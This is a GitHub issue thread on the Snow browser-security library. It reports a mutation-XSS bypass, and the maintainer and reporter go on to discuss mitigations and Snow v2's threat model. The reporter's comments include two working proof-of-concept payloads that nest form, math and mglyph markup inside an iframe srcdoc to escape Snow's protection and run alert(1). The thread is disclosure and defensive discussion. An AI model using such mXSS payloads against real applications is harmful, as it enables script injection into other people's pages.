LavaMoat / snow

Use Snow to finally secure your web app's same origin realms!
https://lavamoat.github.io/snow/demo/
MIT License
102 stars 9 forks source link

Bypass using mXSS #91

Closed mmndaniel closed 1 year ago

mmndaniel commented 1 year ago
var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML =  `<iframe
    srcdoc="<form><math><mtext></form><form><mglyph><style></math><iframe src=&quot;javascript:alert(1)&quot;></iframe>"
</iframe>`;

Shamelessly stolen from here, I knew something like that would work when I saw this code path (parse, serialize, parse) :)

weizman commented 1 year ago

How do you even handle that...? @mmndaniel

mmndaniel commented 1 year ago

Well, there are three directions I can think of: a. Avoid re-serialization altogether. It means you will have to parse the HTML, modify the resulted DOM, then append it to the DOM without serializing it again (you can append DocumentFragement), but it then means you have to preserve the semantics of each insertion method. E.g., inserting at the right point for each position of insertAdjacentHTML. Furthermore, consider document.write: scripts with src written by it could be sync, where dynamically created scripts are async by default, so it might break thier assumptions, etc etc.

b. Sanitize the input HTML from mutations (see this). Non trivial at all, and using the native Sanitizer is too powerful for Snow's use case, because it will entirely remove any iframe/script/attributes etc.

c. Do a full roundtrip twice (i.e., parse the input HTML, serialize it, then parse it again before mutating and finally serializing it again). The idea to somehow normalize the HTML input you're going to parse, so you won't be blind to the mutation nodes. I don't know if this approach is vulnerable to >1 nesting levels of mutations: further research is needed...

mmndaniel commented 1 year ago

@weizman Consider:

var d = document.createElement('div');
document.body.appendChild(d);
d.innerHTML =  `<iframe
    srcdoc="<form><math><mtext></form><form><mglyph><style></math><iframe></iframe>"
</iframe>`;
frames[0][0].alert(1);

Should it really be closed?

weizman commented 1 year ago

Well @mmndaniel, if a browser JS program depends on that, it's vulnerable to same origin realms attacks, with or without Snow. Therefore it can use Snow with unsafe-inline, thus allowing your snippet to work while getting the best security Snow can offer under the circumstances. But the point with V2 is that we no longer take responsibility for attacks that can only be stopped by unsafe-inline.

mmndaniel commented 1 year ago

Not sure I get your point. The assumption is that the attacker can execute code in the attacked origin, right? Theoretically it could be an XSS inside a script that conforms to script-src 'self', a supply chain attack (script-src thirdparty.com), or just a "enter JS here" like in the demo app. Why does it depends on unsafe-inline?

weizman commented 1 year ago

Because unsafe-inline is a baseline for a lot of attack vectors Snow is trying to protect.

Problem is, I was mistaken to think this issue is one of them. You're right about reopening this issue, but first there's some thinking I gotta do about the whole Snow v2 situation before doing anything...